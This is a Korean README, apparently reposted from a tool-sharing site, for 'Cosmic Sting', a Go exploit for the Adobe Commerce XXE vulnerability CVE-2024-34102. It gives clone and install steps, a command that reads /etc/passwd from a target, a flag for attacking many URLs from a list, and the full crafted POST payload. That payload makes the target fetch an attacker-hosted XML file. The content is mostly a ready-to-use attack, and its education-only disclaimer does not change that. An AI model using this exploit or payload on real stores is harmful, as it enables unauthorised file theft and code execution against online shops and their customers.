Cosmic Sting: CVE-2024-34102 악용 도구

Cosmic Sting은 원격 코드 실행 취약점인 CVE-2024-34102를 악용하도록 설계된 Go 기반 도구입니다.

CVE-2024-34102 세부 정보

Adobe Commerce 버전 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 및 이전 버전은 임의 코드 실행으로 이어질 수 있는 XML 외부 엔터티 참조('XXE') 제한 오류 취약점의 영향을 받습니다. 공격자는 외부 엔터티를 참조하는 조작된 XML 문서를 전송하여 이 취약점을 악용할 수 있습니다. 이 문제를 악용하는 데 사용자 상호 작용은 필요하지 않습니다.

전제 조건

• Go (1.16 이상)

설치

1. 저장소를 클론합니다:

   root@kitploit:~

   git clone https://github.com/bughuntar/CVE-2024-34102.git &&
   cd CVE-2024-34102
   

2. 종속 항목을 설치합니다(있는 경우):

   root@kitploit:~

   go version &&
   go mod init cosmic_sting &&
   go get github.com/fatih/color &&
   go get github.com/google/uuid &&
   go get github.com/urfave/cli/v2
   

단일 URL

단일 URL로 도구를 실행하려면:

go run cosmic_sting.go -u "http://example.com" -f "/etc/passwd"

플래그

• -u, --url : 악용할 단일 URL.
• -f, --file : SSRF를 통해 읽을 파일.
• -l, --list : 악용할 URL 목록이 포함된 파일.

제작된 XML DTD 파일 POST 요청:

POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/json
Content-Length: 187

{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"https://{{hostedXMLfile.com}}/xxe.xml","dataIsURL":true,"options":1234}}}}}}

라이선스

이 프로젝트는 라이선스가 없으며 개인 프로젝트로만 제작되었습니다.

기여

기여를 환영합니다! 변경 사항이 있으면 이슈를 열거나 풀 리퀘스트를 제출해 주세요.

면책 조항

이 도구는 교육 목적으로만 제공됩니다. 책임감 있게 사용하고 테스트 권한이 있는 시스템에서만 사용하세요.

작성자

Professor the Hunter --> 트위터에서 팔로우하기

CVE-2024-34102